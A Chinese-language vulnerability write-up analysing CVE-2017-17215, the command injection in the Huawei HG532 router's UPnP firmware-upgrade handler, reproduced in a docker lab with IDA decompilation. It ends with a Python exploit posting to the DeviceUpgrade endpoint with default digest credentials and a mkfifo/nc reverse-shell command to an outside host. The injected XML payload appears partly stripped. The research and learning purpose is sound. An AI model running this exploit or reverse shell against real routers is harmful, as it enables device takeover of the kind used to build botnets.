漏洞分析:CVE-2017-17215
华为HG532路由器的命令注入漏洞,存在于UPnP模块中。
漏洞分析
什么是UPnP?
搭建好环境(使用IoT-vulhub的docker环境),启动环境,查看一下系统启动的服务和端口监听情况。
漏洞点存在于UPnP模块中,关于upnp协议,其实现的功能大致如下:
1.NAT 网关设备拥有一个公网 IP 地址(比如 10.59.116.19),内网中的主机(比如 192.168.1.101)想要与外界通信的话,NAT 网关设备可以为其做一个端口映射(比如:180.59.116.19 :80 —> 192.168.1.101 :80),这样,外部的主机发往 NAT 网关的数据包都会被转发给内网的该主机,从而实现了内网中的主机与外部主机的通信;
2.当内网的服务,需要被外网访问的时候,就需要做一个端口映射,把内网主机的端口映射到NAT网关设备的一个端口上去,这样访问网关设备的端口时候,实际上就是访问了内网主机的服务。但是当内网有多台主机需要向外提供服务的时候,就需要手动配置NAT网关设备的映射端口,确保这些内网服务不会映射到NAT网关设备的同一个端口上去,否则就会造成端口的冲突,这给用户造成了很多麻烦;
3.UPnP 技术标准的出现就是为了解决这个问题,只要 NAT 设备(路由器)支持 UPnP,并开启。那么,当我们的主机(或主机上的应用程序)向 NAT 设备发出端口映射请求的时候,NAT 设备就可以自动为主机分配端口并进行端口映射。这样,我们的主机就能够像公网主机一样被网络中任何主机访问了。
总的来说,upnp提供了一种外网到内网主机的访问机制,如果网关设备的upnp模块存在问题的话,从WAN口去攻击路由器等等网关设备就会比较容易。HG532这款设备,使用upnp来进行固件更新,在固件更新的过程中存在命令注入漏洞,最早是checkpoint发现被Mirai的变种OKIRU/SATORI利用来构建僵尸网络。
漏洞函数,你在哪里被调用?
用IDA打开/bin/upnp文件,通过搜索system等命令执行函数的交叉引用,查看存在的命令注入点。由于大部分命令执行函数的参数是硬编码过的,所以找到这个漏洞点并不困难,简单的搜索之后,就可以看到一个snprintf函数在传递参数的过程中,对参数没有做任何校验,然后snprintf读入的格式化字符串参数的地址被传递到了system函数中,system调用upg来进行固件更新,如果param1和param2两个参数可控的话,就可以在system中执行攻击者的命令。
现在需要看一下ATP_XML_GetChildNodeByName函数,由于固件没有剥离符号表,所以通过函数名大致可以看出函数做了什么:
int __fastcall ATP_XML_GetChildNodeByName(int a1, int NodeName, int *a3, _DWORD *param)
{
int flag; // $s1
int i; // $v0
int v9; // $s0
int NodeValue; // [sp+20h] [-8h] BYREF
int ret_NodeName; // [sp+24h] [-4h] BYREF
flag = 0x40090000;
if ( NodeName )
{
for ( i = ((int (__fastcall *)(int))TSP_XML_GetNodeFirstChild)(a1); ; i = TSP_XML_GetNodeNextSibling(v9) )
{ // 遍历xml节点
v9 = i;
if ( !i )
{
if ( param )
*param = 0;
return 0x40090004;
}
flag = TSP_XML_GetNodeValue(i, 0, 0, &ret_NodeName, &NodeValue);// 获取xml节点的值
if ( flag )
{
if ( param )
*param = 0;
return flag;
}
if ( ret_NodeName && !strcmp(ret_NodeName, NodeName) )
break;
}
if ( a3 )
*a3 = v9;
if ( param )
{
if ( NodeValue )
((void (*)(void))sub_408540)();
*param = NodeValue;
}
}
return flag;
}
大胆猜测一下:通过遍历xml的节点,找到标签名和第二个参数一样的节点,然后把xml节点的值写入到第四个参数的地址处。这里比较坑的一点是,我找不到漏洞函数的交叉引用,也不知道怎么控制snprintf的参数。
这里先在squashfs-root目录下找找"NewDownloadURL"和"NewStatusURL"这两个字符串:
在upnp中查找DevUpg.xml字符串的交叉引用:
查看ATP_UPNP_RegDeviceAndService函数,发现这个函数对ATP_UPnP_RegDevice函数和ATP_UPnP_RegService函数有大量的调用,猜测这个函数可能主要用于开启外网对内访问的服务。
往下找一找,可以看到一个ATP_UPNP_RegAction函数,这个函数有两个参数:
这个参数之前就作为ATP_UPnp_RegDevice的最后一个参数被传递进去过:
我们之前说,ATP_UPnP_RegService这个函数可能是开启UPnP的服务,那ATP_UPNP_RegAction,很有可能就是要对开启的服务做一些操作,跟进看一看。
int __fastcall ATP_UPNP_RegAction(int service_id, int idx)
{
int result; // $v0
int *v4; // $s0
char *funcname; // $s2
int v6; // $s1
if ( !service_id )
return 0x40090000;
result = 0x40090000;
if ( *(_DWORD *)(service_id + 48) )
{
v4 = *(int **)(service_id + 36);
if ( v4 )
{
funcname = g_astActionArray[4 * idx];
while ( 1 )
{
if ( (v4[1] & 0x40000000) != 0 )
{
v6 = *v4;
if ( !strcmp(*v4, funcname) )
break;
}
v4 = (int *)v4[4];
result = 0x40090000;
if ( !v4 )
return result;
}
ATP_UPNP_Free(v6);
v4[1] &= 0xBFFFFFFF;
*v4 = idx;
result = 0;
}
}
return result;
}
这里的重点,在g_astActionArray这个全局变量,这个全局变量之前没有被识别出来,在IDA里面修改识别一下,发现别有洞天:
这是一个虚表,aUpgrade和DeviceUpgrade(这个就是漏洞函数)分别是下标为0和1的函数名。这样看来,之前找不到对应漏洞函数的交叉引用也就有理可循了。
再来看看这个虚表对应的交叉引用,看除了ATP_UPNP_RegAction这个函数之外,它还在哪里被调用了:
UPnPGetActionByName会返回g_astActionArray中的函数指针:
然后这个函数指针随后会被调用:
做到这一步,我们现在可以再梳理一下逆向的工作了。
我们之前首先通过搜索system函数交叉引用的办法,找到了漏洞点,但是没有找到漏洞函数的交叉引用,这是因为函数是通过虚表的方式,调用了函数指针。
然后我们通过在固件中查找关键字符串的方式,确定了UPnP协议要解析的一个关键的xml文件:DevUpg.xml。我们又回到/bin/upnp中,查找这个文件名字符串的交叉引用,通过分析ATP_UPnp_RegDevice和ATP_UPNP_RegAction这两个函数,在IDA里面找到并且正确识别了这个虚表。
最后再通过查找虚函数其他的交叉引用,找到了函数指针被调用的地方,还原了整个漏洞函数执行的流程。
那么现在还要关注哪些问题?
我们现在还不知道,控制固件升级的消息格式,只有清楚了消息格式,我们才能结合之前找到的注入点注入命令。
通过UPnP实现固件更新的过程,是通过一个Web接口来实现的,我们还要把这个接口给找出来。完成这两步,感觉这个漏洞挖掘的过程就被完整地还原出来了,开搞。
寻找Web接口
在逆向的过程中,有这样一段代码:
http_request是我重命名的一个变量,这个变量肯定是一个结构体指针,但是暂时没有办法还原这个结构体。UpnpGetServiceByUrl这个函数名也引起了我的注意(url这个变量也是我重命名的一个变量,根据函数名猜的),跟进到这个函数中看一看:
这样一看,这个函数实现的功能其实也能猜个十之八九,g_pstUpnpGvarHead这个全局变量最开始是在ATP_UPNP_Init函数中被赋值;
还有一个函数会以xml格式返回客户端错误:
到这一步,我觉得继续静态分析的话,收获也不大了,登录到路由器后台找一找api,看看能不能抓包分析一下流量是唯一的出路。
后台确实有固件升级的功能,但是在docker中好像不能用,我把tcpdump传到靶机中没有抓取到37215端口的流量,看了一下check point的漏洞公告和分析,尝试构造exp。
漏洞利用
checkpoint文中提到是通过蜜罐捕获到了流量。
通过UPnP协议控制固件升级的消息格式如上图所示,其中NewStatusURL和NewDownloadURL标签中的内容就是我们可控的命令注入点。通过nc反弹shell失败,wget传递msf的反弹shell还是稳......
exp中需要进行http身份验证,否则就会报401错误。
import requests
from threading import Thread
from requests.auth import HTTPDigestAuth
cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.1 3456 > /tmp/f"
#cmd = "mkdir /tmp/poc"
payload = '''\n'''
payload += '''\n '''
payload += '''\n '''
payload += ''';$(./tools/msf); \n'''
payload += '''$(echo HUAWEIUPNP) \n\n'''
payload += '''\n'''
payload += ''''''
url = "http://192.168.2.2:37215/ctrlt/DeviceUpgrade_1"
# r = requests.post(url,data = payload)
r = requests.post(url,auth = HTTPDigestAuth('dslf-config', 'admin') ,data = payload)
print(r.status_code)
总结
关于这个漏洞,感觉网上一些文章都是搭了环境,然后直接找一次命令注入点,根据漏洞公告给的信息打一次exp,少了一些细节。我在分析的过程中,加入了自己学习和研究的过程中的一些思路和想法,在这个过程中,我对于UPnP协议也有了一些了解,加深了对命令注入漏洞数据流的理解。
参考链接:
https://zhuanlan.zhihu.com/p/40407669
https://nosec.org/home/detail/4871.html
https://research.checkpoint.com/2017/good-zero-day-skiddie/